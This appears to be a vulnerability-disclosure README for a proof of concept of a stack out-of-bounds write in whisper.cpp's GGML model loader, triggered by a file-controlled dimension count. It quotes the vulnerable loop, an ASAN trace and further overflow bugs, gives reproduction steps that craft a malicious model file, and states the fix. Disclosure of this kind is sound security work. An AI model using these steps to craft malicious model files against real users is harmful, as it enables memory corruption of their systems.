Talson/whisper-ndims-oob-poc

whisper.cpp GGML loader stack-buffer-overflow WRITE

Vulnerability

CWE-787: Out-of-bounds Write (Stack) in whisper.cpp GGML model loader (whisper.cpp).

The weight loading loop uses a fixed 4-element stack array ne[4] but iterates n_dims times (file-controlled) writing to it:

// whisper.cpp:1883-1887
int32_t ne[4] = { 1, 1, 1, 1 };
for (int i = 0; i < n_dims; ++i) {
    read_safe(loader, ne[i]);    // OOB WRITE when i >= 4
    nelements *= ne[i];
}

ASAN Trace

ERROR: AddressSanitizer: stack-buffer-overflow
WRITE of size 4 at 0x...
  #0 memcpy (sanitizer interceptor)
  #1 read_safe<int> whisper.cpp:964
  #2 whisper_model_load whisper.cpp:1885
  #3 whisper_init_with_params_no_state whisper.cpp:3730
  #4 whisper_init_from_file_with_params whisper.cpp:3750
Address is located in stack of thread T0 at offset 1984 in frame
  #0 whisper_model_load whisper.cpp:1485

Additional Bugs

1. whisper.cpp:1583: filters.n_mel * filters.n_fft int32 overflow in resize()
2. whisper.cpp:1886: nelements *= ne[i] signed int32 overflow
3. whisper.cpp:5026: Same n_dims OOB in VAD model loading path

Reproduction

git clone --depth=1 https://github.com/ggerganov/whisper.cpp.git && cd whisper.cpp
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
  -DWHISPER_BUILD_TESTS=OFF -DWHISPER_BUILD_EXAMPLES=OFF \
  -DGGML_NATIVE=OFF
make -j$(nproc) whisper
g++ -fsanitize=address -fno-omit-frame-pointer -O1 -g \
  -I../include -I../ggml/include harness.cpp \
  -Lsrc -lwhisper -Wl,-rpath,src -lpthread -o harness
python3 craft_malicious_whisper.py
./harness malicious_whisper.bin   # stack-buffer-overflow WRITE

Fix

Check n_dims <= 4 (or GGML_MAX_DIMS) before entering the loop.